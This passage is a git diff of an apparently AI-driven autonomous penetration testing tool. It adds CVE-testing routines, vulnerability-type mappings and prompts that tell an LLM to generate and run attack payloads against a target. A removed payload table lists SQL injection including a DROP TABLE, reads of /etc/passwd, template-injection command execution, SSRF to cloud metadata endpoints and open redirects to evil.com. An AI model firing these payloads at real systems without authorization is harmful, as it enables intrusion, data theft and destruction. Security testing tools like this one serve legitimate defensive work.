Optional[SessionContext]: + """Get a session context by name.""" + return self.contexts.get(context_name) + + def get_request_kwargs(self, context_name: str) -> Dict: + """Get headers and cookies for requests as a context. + + Returns dict with 'headers' and 'cookies' ready for request_engine. + """ + ctx = self.contexts.get(context_name) + if not ctx or ctx.state != "authenticated": + return {"headers": {}, "cookies": {}} + + return { + "headers": dict(ctx.headers), + "cookies": dict(ctx.cookies), + } + + def is_authenticated(self, context_name: str) -> bool: + """Check if a context is currently authenticated.""" + ctx = self.contexts.get(context_name) + return ctx is not None and ctx.state == "authenticated" + + def get_auth_summary(self) -> Dict: + """Get summary of authentication state for reporting.""" + return { + "contexts": { + name: { + "state": ctx.state, + "role": ctx.role, + "credential": ctx.credential.username if ctx.credential else None, + "has_tokens": bool(ctx.tokens), + "has_cookies": bool(ctx.cookies), + } + for name, ctx in self.contexts.items() + }, + "login_forms_found": len(self._login_forms), + "login_attempts": self._login_attempts, + "successful_logins": self._successful_logins, + "credentials_available": { + role: len(creds) + for role, creds in self._credentials.items() + }, + } diff --git a/backend/core/autonomous_agent.py b/backend/core/autonomous_agent.py index 89318d9..8177bb2 100644 --- a/backend/core/autonomous_agent.py +++ b/backend/core/autonomous_agent.py @@ -21,6 +21,30 @@ from urllib.parse import urljoin, urlparse, parse_qs, urlencode from enum import Enum from pathlib import Path +from backend.core.agent_memory import AgentMemory +from backend.core.vuln_engine.registry import VulnerabilityRegistry +from backend.core.vuln_engine.payload_generator import PayloadGenerator +from backend.core.response_verifier import ResponseVerifier +from backend.core.negative_control import NegativeControlEngine +from backend.core.proof_of_execution import ProofOfExecution +from backend.core.confidence_scorer import ConfidenceScorer +from backend.core.validation_judge import ValidationJudge +from backend.core.vuln_engine.system_prompts import get_system_prompt, get_prompt_for_vuln_type +from backend.core.vuln_engine.ai_prompts import get_verification_prompt, get_poc_prompt +from backend.core.access_control_learner import AccessControlLearner +from backend.core.request_engine import RequestEngine, ErrorType +from backend.core.waf_detector import WAFDetector +from backend.core.strategy_adapter import StrategyAdapter +from backend.core.chain_engine import ChainEngine +from backend.core.auth_manager import AuthManager + +try: + from core.browser_validator import BrowserValidator, embed_screenshot, HAS_PLAYWRIGHT +except ImportError: + HAS_PLAYWRIGHT = False + BrowserValidator = None + embed_screenshot = None + # Try to import anthropic for Claude API try: import anthropic @@ -37,6 +61,13 @@ except ImportError: OPENAI_AVAILABLE = False openai = None +# Security sandbox (Docker-based real tools) +try: + from core.sandbox_manager import get_sandbox, SandboxManager + HAS_SANDBOX = True +except ImportError: + HAS_SANDBOX = False + class OperationMode(Enum): """Agent operation modes""" @@ -44,6 +75,7 @@ class OperationMode(Enum): FULL_AUTO = "full_auto" PROMPT_ONLY = "prompt_only" ANALYZE_ONLY = "analyze_only" + AUTO_PENTEST = "auto_pentest" class FindingSeverity(Enum): @@ -83,8 +115,16 @@ class Finding: poc_code: str = "" remediation: str = "" references: List[str] = field(default_factory=list) + screenshots: List[str] = field(default_factory=list) + affected_urls: List[str] = field(default_factory=list) ai_verified: bool = False - confidence: str = "high" + confidence: str = "0" # Numeric string "0"-"100" + confidence_score: int = 0 # Numeric confidence score 0-100 + confidence_breakdown: Dict = field(default_factory=dict) # Scoring breakdown + proof_of_execution: str = "" # What proof was found + negative_controls: str = "" # Control test results + ai_status: str = "confirmed" # "confirmed" | "rejected" | "pending" + rejection_reason: str = "" @dataclass @@ -369,6 +409,61 @@ class LLMConnectionError(Exception): pass +DEFAULT_ASSESSMENT_PROMPT = """You are NeuroSploit, an elite autonomous penetration testing AI agent. +Your mission: identify real, exploitable vulnerabilities — zero false positives. + +## METHODOLOGY (PTES/OWASP/WSTG aligned) + +### Phase 1 — Reconnaissance & Fingerprinting +- Discover all endpoints, parameters, forms, API paths, WebSocket URLs +- Technology fingerprinting: language, framework, server, WAF, CDN +- Identify attack surface: file upload, auth endpoints, admin panels, GraphQL + +### Phase 2 — Technology-Guided Prioritization +Select vulnerability types based on detected technology stack: +- PHP/Laravel → LFI, command injection, SSTI (Blade), SQLi, file upload +- Node.js/Express → NoSQL injection, SSRF, prototype pollution, SSTI (EJS/Pug) +- Python/Django/Flask → SSTI (Jinja2), command injection, IDOR, mass assignment +- Java/Spring → XXE, insecure deserialization, expression language injection, SSRF +- ASP.NET → path traversal, XXE, header injection, insecure deserialization +- API/REST → IDOR, BOLA, BFLA, JWT manipulation, mass assignment, rate limiting +- GraphQL → introspection, injection, DoS via nested queries +- WordPress → file upload, SQLi, XSS, exposed admin, plugin vulns + +### Phase 3 — Active Testing (100 vuln types available) +**OWASP Top 10 2021 coverage:** +- A01 Broken Access Control: IDOR, BOLA, BFLA, privilege escalation, forced browsing, CORS +- A02 Cryptographic Failures: weak encryption/hashing, cleartext transmission, SSL issues +- A03 Injection: SQLi (error/union/blind/time), NoSQL, LDAP, XPath, command, SSTI, XSS, XXE +- A04 Insecure Design: business logic, race condition, mass assignment +- A05 Security Misconfiguration: headers, debug mode, directory listing, default creds +- A06 Vulnerable Components: outdated dependencies, insecure CDN +- A07 Auth Failures: JWT, session fixation, brute force, 2FA bypass, OAuth misconfig +- A08 Data Integrity: insecure deserialization, cache poisoning, HTTP smuggling +- A09 Logging Failures: log injection, improper error handling +- A10 SSRF: standard SSRF, cloud metadata SSRF + +### Phase 4 — Verification (multi-signal) +Every finding MUST have: +1. Concrete HTTP evidence (request + response) +2. At least 2 verification signals OR high-confidence tester match +3. No speculative language — only confirmed exploitable issues +4. Screenshot capture when possible + +### Phase 5 — Reporting +- Each finding: title, severity, CVSS 3.1, CWE, PoC, impact, remediation +- Prioritized by real-world exploitability +- Executive summary with risk rating + +## CRITICAL RULES +- NEVER report theoretical/speculative vulnerabilities +- ALWAYS verify with real HTTP evidence before confirming +- Test systematically: every parameter, every endpoint, every form +- Use technology hints to select the most relevant tests +- Capture baseline responses before testing for accurate diff-based detection +""" + + class AutonomousAgent: """ AI-Powered Autonomous Security Agent @@ -376,79 +471,96 @@ class AutonomousAgent: Performs real security testing with AI-powered analysis """ - # Comprehensive payload sets for testing - PAYLOADS = { - "sqli": [ - "'", "\"", "' OR '1'='1", "\" OR \"1\"=\"1", "' OR 1=1--", - "admin'--", "1' AND '1'='1", "1 AND 1=1", "' UNION SELECT NULL--", - "1' AND SLEEP(5)--", "1' WAITFOR DELAY '0:0:5'--", - "1'; DROP TABLE users--", "' OR ''='", "1' ORDER BY 1--" - ], - "xss": [ - "", "", - "\">", "'-alert('XSS')-'", - "", "javascript:alert('XSS')", - "", "{{constructor.constructor('alert(1)')()}}", - "", - ], - "lfi": [ - "../../../etc/passwd", "....//....//....//etc/passwd", - "/etc/passwd", "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", - "php://filter/convert.base64-encode/resource=index.php", - "file:///etc/passwd", "/proc/self/environ", - "..%2f..%2f..%2fetc%2fpasswd", "....\/....\/....\/etc/passwd" - ], - "ssti": [ - "{{7*7}}", "${7*7}", "<%= 7*7 %>", "#{7*7}", "*{7*7}", - "{{config}}", "{{self.__class__.__mro__}}", - "${T(java.lang.Runtime).getRuntime().exec('id')}", - "{{''.__class__.__mro__[1].__subclasses__()}}" - ], - "ssrf": [ - "http://127.0.0.1", "http://localhost", - "http://169.254.169.254/latest/meta-data/", - "http://[::1]", "http://0.0.0.0", "file:///etc/passwd", - "http://metadata.google.internal/", "http://100.100.100.200/" - ], - "rce": [ - "; id", "| id", "$(id)", "`id`", "&& id", - "; cat /etc/passwd", "| cat /etc/passwd", - "; whoami", "| whoami", "&& whoami" - ], - "open_redirect": [ - "//evil.com", "https://evil.com", "/\\evil.com", - "//evil.com/%2f..", "https:evil.com", "////evil.com" - ] - } - - # Vulnerability indicators for each type - VULN_INDICATORS = { - "sqli": { - "errors": [ - "sql syntax", "mysql_", "pg_query", "ora-", "sqlite_", - "database error", "syntax error", "unclosed quotation", - "you have an error in your sql", "warning: mysql", - "postgresql", "microsoft sql native client error", - "odbc drivers error", "invalid query", "sql command" - ], - "blind_indicators": ["different response", "time delay"] - }, - "xss": { - "reflection_check": True, # Check if payload is reflected - "context_check": True # Check if in dangerous context - }, - "lfi": { - "content": [ - "root:x:", "root:*:", "[boot loader]", "localhost", - "daemon:x:", "bin:x:", "sys:x:", "www-data" - ] - }, - "ssti": { - "evaluation": {"7*7": "49", "7*'7'": "7777777"} - }, - "ssrf": { - "internal_access": ["127.0.0.1", "localhost", "internal"] - } + # Legacy vuln type → registry key mapping + VULN_TYPE_MAP = { + # Aliases → canonical registry keys + "sqli": "sqli_error", + "xss": "xss_reflected", + "rce": "command_injection", + "cors": "cors_misconfig", + "lfi_rfi": "lfi", + "file_inclusion": "lfi", + "remote_code_execution": "command_injection", + "broken_auth": "auth_bypass", + "broken_access": "bola", + "api_abuse": "rest_api_versioning", + # Identity mappings — Injection (18) + "sqli_error": "sqli_error", "sqli_union": "sqli_union", + "sqli_blind": "sqli_blind", "sqli_time": "sqli_time", + "command_injection": "command_injection", "ssti": "ssti", + "nosql_injection": "nosql_injection", "ldap_injection": "ldap_injection", + "xpath_injection": "xpath_injection", "graphql_injection": "graphql_injection", + "crlf_injection": "crlf_injection", "header_injection": "header_injection", + "email_injection": "email_injection", + "expression_language_injection": "expression_language_injection", + "log_injection": "log_injection", "html_injection": "html_injection", + "csv_injection": "csv_injection", "orm_injection": "orm_injection", + # XSS (5) + "xss_reflected": "xss_reflected", "xss_stored": "xss_stored", + "xss_dom": "xss_dom", "blind_xss": "blind_xss", + "mutation_xss": "mutation_xss", + # File Access (8) + "lfi": "lfi", "rfi": "rfi", "path_traversal": "path_traversal", + "xxe": "xxe", "file_upload": "file_upload", + "arbitrary_file_read": "arbitrary_file_read", + "arbitrary_file_delete": "arbitrary_file_delete", "zip_slip": "zip_slip", + # Request Forgery (4) + "ssrf": "ssrf", "ssrf_cloud": "ssrf_cloud", + "csrf": "csrf", "cors_misconfig": "cors_misconfig", + # Auth (8) + "auth_bypass": "auth_bypass", "jwt_manipulation": "jwt_manipulation", + "session_fixation": "session_fixation", "weak_password": "weak_password", + "default_credentials": "default_credentials", "brute_force": "brute_force", + "two_factor_bypass": "two_factor_bypass", + "oauth_misconfiguration": "oauth_misconfiguration", + # Authorization (6) + "idor": "idor", "bola": "bola", "bfla": "bfla", + "privilege_escalation": "privilege_escalation", + "mass_assignment": "mass_assignment", "forced_browsing": "forced_browsing", + # Client-Side (8) + "clickjacking": "clickjacking", "open_redirect": "open_redirect", + "dom_clobbering": "dom_clobbering", + "postmessage_vulnerability": "postmessage_vulnerability", + "websocket_hijacking": "websocket_hijacking", + "prototype_pollution": "prototype_pollution", + "css_injection": "css_injection", "tabnabbing": "tabnabbing", + # Infrastructure (10) + "security_headers": "security_headers", "ssl_issues": "ssl_issues", + "http_methods": "http_methods", "directory_listing": "directory_listing", + "debug_mode": "debug_mode", "exposed_admin_panel": "exposed_admin_panel", + "exposed_api_docs": "exposed_api_docs", + "insecure_cookie_flags": "insecure_cookie_flags", + "http_smuggling": "http_smuggling", "cache_poisoning": "cache_poisoning", + # Logic & Data (16) + "race_condition": "race_condition", "business_logic": "business_logic", + "rate_limit_bypass": "rate_limit_bypass", + "parameter_pollution": "parameter_pollution", + "type_juggling": "type_juggling", + "insecure_deserialization": "insecure_deserialization", + "subdomain_takeover": "subdomain_takeover", + "host_header_injection": "host_header_injection", + "timing_attack": "timing_attack", + "improper_error_handling": "improper_error_handling", + "sensitive_data_exposure": "sensitive_data_exposure", + "information_disclosure": "information_disclosure", + "api_key_exposure": "api_key_exposure", + "source_code_disclosure": "source_code_disclosure", + "backup_file_exposure": "backup_file_exposure", + "version_disclosure": "version_disclosure", + # Crypto & Supply (8) + "weak_encryption": "weak_encryption", "weak_hashing": "weak_hashing", + "weak_random": "weak_random", "cleartext_transmission": "cleartext_transmission", + "vulnerable_dependency": "vulnerable_dependency", + "outdated_component": "outdated_component", + "insecure_cdn": "insecure_cdn", "container_escape": "container_escape", + # Cloud & API (9) + "s3_bucket_misconfiguration": "s3_bucket_misconfiguration", + "cloud_metadata_exposure": "cloud_metadata_exposure", + "serverless_misconfiguration": "serverless_misconfiguration", + "graphql_introspection": "graphql_introspection", + "graphql_dos": "graphql_dos", "rest_api_versioning": "rest_api_versioning", + "soap_injection": "soap_injection", "api_rate_limiting": "api_rate_limiting", + "excessive_data_exposure": "excessive_data_exposure", } def __init__( @@ -462,6 +574,8 @@ class AutonomousAgent: custom_prompt: Optional[str] = None, recon_context: Optional[Dict] = None, finding_callback: Optional[Callable] = None, + lab_context: Optional[Dict] = None, + scan_id: Optional[str] = None, ): self.target = self._normalize_target(target) self.mode = mode @@ -472,25 +586,144 @@ class AutonomousAgent: self.task = task self.custom_prompt = custom_prompt self.recon_context = recon_context + self.lab_context = lab_context or {} + self.scan_id = scan_id self._cancelled = False + self._paused = False + self._skip_to_phase: Optional[str] = None # Phase skip target self.session: Optional[aiohttp.ClientSession] = None self.llm = LLMClient() + # VulnEngine integration (100 types, 428 payloads, 100 testers) + self.vuln_registry = VulnerabilityRegistry() + self.payload_generator = PayloadGenerator() + self.response_verifier = ResponseVerifier() + self.knowledge_base = self._load_knowledge_base() + + # PoC generator for confirmed findings + from backend.core.poc_generator import PoCGenerator + self.poc_generator = PoCGenerator() + + # Validation pipeline: negative controls + proof of execution + confidence scoring + self.negative_controls = NegativeControlEngine() + self.proof_engine = ProofOfExecution() + self.confidence_scorer = ConfidenceScorer() + self.validation_judge = ValidationJudge( + self.negative_controls, self.proof_engine, + self.confidence_scorer, self.llm, + access_control_learner=getattr(self, 'access_control_learner', None) + ) + + # Execution history for cross-scan learning + try: + from backend.core.execution_history import ExecutionHistory + self.execution_history = ExecutionHistory() + except Exception: + self.execution_history = None + + # Access control learning engine (adapts from BOLA/BFLA/IDOR outcomes) + try: + self.access_control_learner = AccessControlLearner() + except Exception: + self.access_control_learner = None + + # Autonomy modules (lazy-init after session in __aenter__) + self.request_engine = None + self.waf_detector = None + self.strategy = None + self.chain_engine = ChainEngine(llm=self.llm) + self.auth_manager = None + self._waf_result = None + # Data storage self.recon = ReconData() - self.findings: List[Finding] = [] - self.tested_payloads: set = set() + self.memory = AgentMemory() self.custom_prompts: List[str] = [] + self.tool_executions: List[Dict] = [] + self.rejected_findings: List[Finding] = [] + self._sandbox = None # Lazy-init sandbox reference for tool runner + + @property + def findings(self) -> List[Finding]: + """Backward-compatible access to confirmed findings via memory""" + return self.memory.confirmed_findings def cancel(self): """Cancel the agent execution""" self._cancelled = True + self._paused = False # Unpause so cancel is immediate def is_cancelled(self) -> bool: """Check if agent was cancelled""" return self._cancelled + def pause(self): + """Pause the agent execution""" + self._paused = True + + def resume(self): + """Resume the agent execution""" + self._paused = False + + def is_paused(self) -> bool: + """Check if agent is paused""" + return self._paused + + async def _wait_if_paused(self): + """Block while paused, checking for cancel every second""" + while self._paused and not self._cancelled: + await asyncio.sleep(1) + + # Phase ordering for skip-to-phase support + AGENT_PHASES = ["recon", "analysis", "testing", "enhancement", "completed"] + + def skip_to_phase(self, target_phase: str) -> bool: + """Signal the agent to skip to a given phase""" + if target_phase not in self.AGENT_PHASES: + return False + self._skip_to_phase = target_phase + return True + + def _check_skip(self, current_phase: str) -> Optional[str]: + """Check if we should skip to a phase ahead of current_phase""" + target = self._skip_to_phase + if not target: + return None + try: + cur_idx = self.AGENT_PHASES.index(current_phase) + tgt_idx = self.AGENT_PHASES.index(target) + except ValueError: + return None + if tgt_idx > cur_idx: + self._skip_to_phase = None + return target + self._skip_to_phase = None + return None + + def _map_vuln_type(self, vuln_type: str) -> str: + """Map agent vuln type name to VulnEngine registry key""" + return self.VULN_TYPE_MAP.get(vuln_type, vuln_type) + + def _get_payloads(self, vuln_type: str) -> List[str]: + """Get payloads from VulnEngine PayloadGenerator""" + mapped = self._map_vuln_type(vuln_type) + payloads = self.payload_generator.payload_libraries.get(mapped, []) + if not payloads: + # Try original name + payloads = self.payload_generator.payload_libraries.get(vuln_type, []) + return payloads + + @staticmethod + def _load_knowledge_base() -> Dict: + """Load vulnerability knowledge base JSON at startup""" + kb_path = Path(__file__).parent.parent.parent / "data" / "vuln_knowledge_base.json" + try: + with open(kb_path, "r") as f: + return json.load(f) + except Exception: + return {} + async def add_custom_prompt(self, prompt: str): """Add a custom prompt to be processed""" self.custom_prompts.append(prompt) @@ -500,40 +733,72 @@ class AutonomousAgent: await self._process_custom_prompt(prompt) async def _process_custom_prompt(self, prompt: str): - """Process a custom user prompt with the LLM and execute requested tests""" + """Process a custom user prompt with the LLM and execute requested tests. + + Detects CVE references and vulnerability test requests, then ACTUALLY tests + them against the target instead of just providing AI text responses. + """ await self.log_llm("info", f"[AI] Processing user prompt: {prompt}") + # Detect CVE references in prompt + cve_match = re.search(r'CVE-\d{4}-\d{4,}', prompt, re.IGNORECASE) + cve_id = cve_match.group(0).upper() if cve_match else None + # Build context about available endpoints endpoints_info = [] - for ep in self.recon.endpoints[:20]: # Limit to 20 for context + for ep in self.recon.endpoints[:20]: endpoints_info.append(f"- {_get_endpoint_method(ep)} {_get_endpoint_url(ep)}") params_info = [] for param, values in list(self.recon.parameters.items())[:15]: params_info.append(f"- {param}: {values[:3]}") - system_prompt = f"""You are an expert penetration tester analyzing {self.target}. -The user has requested a specific test. Analyze the request and provide a structured response. + forms_info = [] + for form in self.recon.forms[:10]: + forms_info.append(f"- {form.get('method', 'GET')} {form.get('action', 'N/A')} fields={form.get('inputs', [])[:5]}") + + # Enhanced system prompt that requests actionable test plans + system_prompt = f"""You are a senior penetration tester performing ACTIVE TESTING against {self.target}. +The user wants you to ACTUALLY TEST for vulnerabilities, not just explain them. +{'The user is asking about ' + cve_id + '. Research this CVE and generate specific test payloads.' if cve_id else ''} Current reconnaissance data: +Target: {self.target} Endpoints ({len(self.recon.endpoints)} total): {chr(10).join(endpoints_info[:10]) if endpoints_info else ' None discovered yet'} Parameters ({len(self.recon.parameters)} total): {chr(10).join(params_info[:10]) if params_info else ' None discovered yet'} +Forms ({len(self.recon.forms)} total): +{chr(10).join(forms_info[:5]) if forms_info else ' None discovered yet'} + Technologies detected: {', '.join(self.recon.technologies) if self.recon.technologies else 'None'} -IMPORTANT: Respond in this JSON format: +CRITICAL: You must respond with a TEST PLAN in JSON format. The agent will EXECUTE these tests. +Available injection points: "parameter", "header", "cookie", "body", "path" +Available vuln types: xss_reflected, xss_stored, sqli_error, sqli_union, sqli_blind, sqli_time, + command_injection, ssti, lfi, rfi, path_traversal, ssrf, xxe, crlf_injection, header_injection, + host_header_injection, open_redirect, csrf, nosql_injection, idor, cors_misconfig + +Respond in this JSON format: {{ - "analysis": "Your analysis of what the user is asking", - "action": "test_endpoint|test_parameter|scan_for|analyze|info", - "targets": ["list of specific URLs or parameters to test"], - "vuln_types": ["xss", "sqli", "idor", "ssrf", etc - if applicable], - "response": "Your detailed response to show the user" + "analysis": "What the user is asking and your security assessment", + "action": "test_cve|test_endpoint|test_parameter|scan_for|analyze|info", + "vuln_type": "primary vulnerability type to test", + "injection_point": "parameter|header|cookie|body|path", + "header_name": "X-Forwarded-For", + "payloads": ["payload1", "payload2", "payload3"], + "targets": ["specific URLs to test"], + "vuln_types": ["list of vuln types if scanning for multiple"], + "response": "Brief explanation shown to the user" }} -If the request is unclear or just informational, use action "info" and provide helpful guidance.""" +For CVE testing, include at least 5 specific payloads based on the CVE's attack vector. +Always set action to "test_cve" or "test_endpoint" when the user asks to test something.""" + + # Append anti-hallucination directives + system_prompt += "\n\n" + get_system_prompt("testing") try: response = await self.llm.generate(prompt, system=system_prompt) @@ -541,48 +806,63 @@ If the request is unclear or just informational, use action "info" and provide h await self.log_llm("warning", "[AI] No response from LLM") return - await self.log_llm("info", f"[AI] Analyzing request...") + await self.log_llm("info", f"[AI] Analyzing request and building test plan...") - # Try to parse as JSON for structured actions import json try: - # Extract JSON from response json_match = re.search(r'\{[\s\S]*\}', response) if json_match: action_data = json.loads(json_match.group()) action = action_data.get("action", "info") targets = action_data.get("targets", []) vuln_types = action_data.get("vuln_types", []) + vuln_type = action_data.get("vuln_type", "") + injection_point = action_data.get("injection_point", "parameter") + header_name = action_data.get("header_name", "") + payloads = action_data.get("payloads", []) ai_response = action_data.get("response", response) - await self.log_llm("info", f"[AI RESPONSE] {ai_response}") + await self.log_llm("info", f"[AI] {ai_response[:300]}") - # Execute the requested action - if action == "test_endpoint" and targets: - await self.log_llm("info", f"[AI] Executing endpoint tests on {len(targets)} targets...") - for target_url in targets[:5]: # Limit to 5 targets - await self._test_custom_endpoint(target_url, vuln_types or ["xss", "sqli"]) + # ── CVE Testing: Actually execute tests ── + if action == "test_cve": + await self.log_llm("info", f"[AI] Executing CVE test plan: {vuln_type} via {injection_point}") + await self._execute_cve_test( + cve_id or "CVE-unknown", + vuln_type, injection_point, header_name, + payloads, targets + ) + + elif action == "test_endpoint" and targets: + await self.log_llm("info", f"[AI] Testing {len(targets)} endpoints...") + for target_url in targets[:5]: + if payloads and vuln_type: + # Use AI-generated payloads with correct injection + await self._execute_targeted_test( + target_url, vuln_type, injection_point, + header_name, payloads + ) + else: + await self._test_custom_endpoint(target_url, vuln_types or ["xss_reflected", "sqli_error"]) elif action == "test_parameter" and targets: await self.log_llm("info", f"[AI] Testing parameters: {targets}") - await self._test_custom_parameters(targets, vuln_types or ["xss", "sqli"]) + await self._test_custom_parameters(targets, vuln_types or ["xss_reflected", "sqli_error"]) elif action == "scan_for" and vuln_types: await self.log_llm("info", f"[AI] Scanning for: {vuln_types}") - for vtype in vuln_types[:3]: # Limit to 3 vuln types + for vtype in vuln_types[:5]: await self._scan_for_vuln_type(vtype) elif action == "analyze": - await self.log_llm("info", f"[AI] Analysis complete - check response above") + await self.log_llm("info", f"[AI] Analysis complete") else: - await self.log_llm("info", f"[AI] Informational response provided") + await self.log_llm("info", f"[AI] Response provided - no active test needed") else: - # No structured JSON, just show the response await self.log_llm("info", f"[AI RESPONSE] {response[:1000]}") except json.JSONDecodeError: - # If not valid JSON, just show the response await self.log_llm("info", f"[AI RESPONSE] {response[:1000]}") except Exception as e: @@ -606,7 +886,7 @@ If the request is unclear or just informational, use action "info" and provide h for param_name in list(params.keys())[:3]: for vtype in vuln_types[:2]: - payloads = self.PAYLOADS.get(vtype, [])[:2] + payloads = self._get_payloads(vtype)[:2] for payload in payloads: await self._test_single_param(url, param_name, payload, vtype) @@ -628,10 +908,137 @@ If the request is unclear or just informational, use action "info" and provide h url = _get_endpoint_url(ep) for param in param_names[:3]: for vtype in vuln_types[:2]: - payloads = self.PAYLOADS.get(vtype, [])[:2] + payloads = self._get_payloads(vtype)[:2] for payload in payloads: await self._test_single_param(url, param, payload, vtype) + async def _execute_cve_test(self, cve_id: str, vuln_type: str, + injection_point: str, header_name: str, + payloads: List[str], targets: List[str]): + """Execute actual CVE testing with AI-generated payloads against the target.""" + await self.log("warning", f" [CVE TEST] Testing {cve_id} ({vuln_type}) via {injection_point}") + + # Build test targets: use AI-suggested URLs or fall back to discovered endpoints + test_urls = targets[:5] if targets else [] + if not test_urls: + test_urls = [self.target] + for ep in self.recon.endpoints[:10]: + ep_url = _get_endpoint_url(ep) + if ep_url and ep_url not in test_urls: + test_urls.append(ep_url) + + # Also use payloads from the PayloadGenerator as fallback + all_payloads = list(payloads[:10]) + registry_payloads = self._get_payloads(vuln_type)[:5] + for rp in registry_payloads: + if rp not in all_payloads: + all_payloads.append(rp) + + findings_count = 0 + for test_url in test_urls[:5]: + if self.is_cancelled(): + return + await self.log("info", f" [CVE TEST] Testing {test_url[:60]}...") + + for payload in all_payloads[:10]: + if self.is_cancelled(): + return + + # Use correct injection method + if injection_point == "header": + test_resp = await self._make_request_with_injection( + test_url, "GET", payload, + injection_point="header", + header_name=header_name or "X-Forwarded-For" + ) + param_name = header_name or "X-Forwarded-For" + elif injection_point in ("body", "cookie", "path"): + parsed = urlparse(test_url) + params = list(parse_qs(parsed.query).keys()) if parsed.query else ["data"] + test_resp = await self._make_request_with_injection( + test_url, "POST" if injection_point == "body" else "GET", + payload, injection_point=injection_point, + param_name=params[0] if params else "data" + ) + param_name = params[0] if params else "data" + else: # parameter + parsed = urlparse(test_url) + params = list(parse_qs(parsed.query).keys()) if parsed.query else ["id", "q"] + param_name = params[0] if params else "id" + test_resp = await self._make_request_with_injection( + test_url, "GET", payload, + injection_point="parameter", + param_name=param_name + ) + + if not test_resp: + continue + + # Verify the response + is_vuln, evidence = await self._verify_vulnerability( + vuln_type, payload, test_resp, None + ) + + if is_vuln: + evidence = f"[{cve_id}] {evidence}" + finding = self._create_finding( + vuln_type, test_url, param_name, payload, + evidence, test_resp, ai_confirmed=True + ) + finding.title = f"{cve_id} - {finding.title}" + finding.references.append(f"https://nvd.nist.gov/vuln/detail/{cve_id}") + await self._add_finding(finding) + findings_count += 1 + await self.log("warning", f" [CVE TEST] {cve_id} CONFIRMED at {test_url[:50]}") + break # One finding per URL is enough + + if findings_count == 0: + await self.log("info", f" [CVE TEST] {cve_id} not confirmed after testing {len(test_urls)} targets with {len(all_payloads)} payloads") + else: + await self.log("warning", f" [CVE TEST] {cve_id} found {findings_count} vulnerable endpoint(s)") + + async def _execute_targeted_test(self, url: str, vuln_type: str, + injection_point: str, header_name: str, + payloads: List[str]): + """Execute targeted vulnerability tests with specific payloads and injection point.""" + await self.log("info", f" [TARGETED] Testing {vuln_type} via {injection_point} at {url[:60]}") + + for payload in payloads[:10]: + if self.is_cancelled(): + return + + parsed = urlparse(url) + params = list(parse_qs(parsed.query).keys()) if parsed.query else ["id"] + param_name = params[0] if params else "id" + + if injection_point == "header": + param_name = header_name or "X-Forwarded-For" + + test_resp = await self._make_request_with_injection( + url, "GET", payload, + injection_point=injection_point, + param_name=param_name, + header_name=header_name + ) + + if not test_resp: + continue + + is_vuln, evidence = await self._verify_vulnerability( + vuln_type, payload, test_resp, None + ) + + if is_vuln: + finding = self._create_finding( + vuln_type, url, param_name, payload, + evidence, test_resp, ai_confirmed=True + ) + await self._add_finding(finding) + await self.log("warning", f" [TARGETED] {vuln_type} confirmed at {url[:50]}") + return + + await self.log("info", f" [TARGETED] {vuln_type} not confirmed at {url[:50]}") + async def _scan_for_vuln_type(self, vuln_type: str): """Scan all endpoints for a specific vulnerability type""" await self.log("info", f" Scanning for {vuln_type.upper()} vulnerabilities...") @@ -654,7 +1061,7 @@ If the request is unclear or just informational, use action "info" and provide h return # Standard payload-based testing - payloads = self.PAYLOADS.get(vuln_type, [])[:3] + payloads = self._get_payloads(vuln_type)[:3] if not payloads: # Try AI-based testing for unknown vuln types await self._ai_test_vulnerability(vuln_type) @@ -678,8 +1085,10 @@ If the request is unclear or just informational, use action "info" and provide h test_urls.append(url) for url in test_urls: + if self.is_cancelled(): + return try: - async with self.session.get(url, allow_redirects=True) as resp: + async with self.session.get(url, allow_redirects=True, timeout=self._get_request_timeout()) as resp: headers = dict(resp.headers) headers_lower = {k.lower(): v for k, v in headers.items()} @@ -698,7 +1107,6 @@ If the request is unclear or just informational, use action "info" and provide h "evidence": f"X-Frame-Options: Not set\nCSP: {csp[:100] if csp else 'Not set'}", "remediation": "Add 'X-Frame-Options: DENY' or 'X-Frame-Options: SAMEORIGIN' header, or use 'frame-ancestors' in CSP." }) - await self.log("warning", f" [FOUND] Clickjacking vulnerability - missing X-Frame-Options") # Check HSTS hsts = headers_lower.get("strict-transport-security", "") @@ -734,21 +1142,36 @@ If the request is unclear or just informational, use action "info" and provide h "remediation": "Implement a restrictive Content-Security-Policy." }) - # Create findings + # Create findings (non-AI: detected by header inspection) + # Domain-scoped dedup: only 1 finding per domain for header issues for f in findings: + mapped = self._map_vuln_type(f["type"]) + vt = f["type"] + + # Check if we already have this finding for this domain + if self.memory.has_finding_for(vt, url): + # Append URL to existing finding's affected_urls + for ef in self.memory.confirmed_findings: + if ef.vulnerability_type == vt: + if url not in ef.affected_urls: + ef.affected_urls.append(url) + break + continue + finding = Finding( - id=hashlib.md5(f"{f['type']}{url}".encode()).hexdigest()[:8], - title=f["title"], - severity=f["severity"], - vulnerability_type=f["type"], - cvss_score={"critical": 9.0, "high": 7.0, "medium": 4.0, "low": 3.0}.get(f["severity"], 3.0), - cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N", - cwe_id="CWE-1021" if "clickjacking" in f["type"] else "CWE-693", - description=f["description"], + id=hashlib.md5(f"{vt}{url}".encode()).hexdigest()[:8], + title=self.vuln_registry.get_title(mapped) or f["title"], + severity=self.vuln_registry.get_severity(mapped) or f["severity"], + vulnerability_type=vt, + cvss_score=self._get_cvss_score(vt), + cvss_vector=self._get_cvss_vector(vt), + cwe_id=self.vuln_registry.get_cwe_id(mapped) or "CWE-693", + description=self.vuln_registry.get_description(mapped) or f["description"], affected_endpoint=url, evidence=f["evidence"], - remediation=f["remediation"], - ai_verified=True + remediation=self.vuln_registry.get_remediation(mapped) or f["remediation"], + affected_urls=[url], + ai_verified=False # Detected by inspection, not AI ) await self._add_finding(finding) @@ -777,20 +1200,30 @@ If the request is unclear or just informational, use action "info" and provide h acac = resp.headers.get("Access-Control-Allow-Credentials", "") if acao == origin or acao == "*": + # Domain-scoped dedup for CORS + if self.memory.has_finding_for("cors_misconfig", url): + for ef in self.memory.confirmed_findings: + if ef.vulnerability_type == "cors_misconfig": + if url not in ef.affected_urls: + ef.affected_urls.append(url) + break + break + severity = "high" if acac.lower() == "true" else "medium" finding = Finding( id=hashlib.md5(f"cors{url}{origin}".encode()).hexdigest()[:8], - title=f"CORS Misconfiguration - {origin}", + title=self.vuln_registry.get_title("cors_misconfig") or f"CORS Misconfiguration - {origin}", severity=severity, - vulnerability_type="cors", - cvss_score=7.5 if severity == "high" else 5.0, - 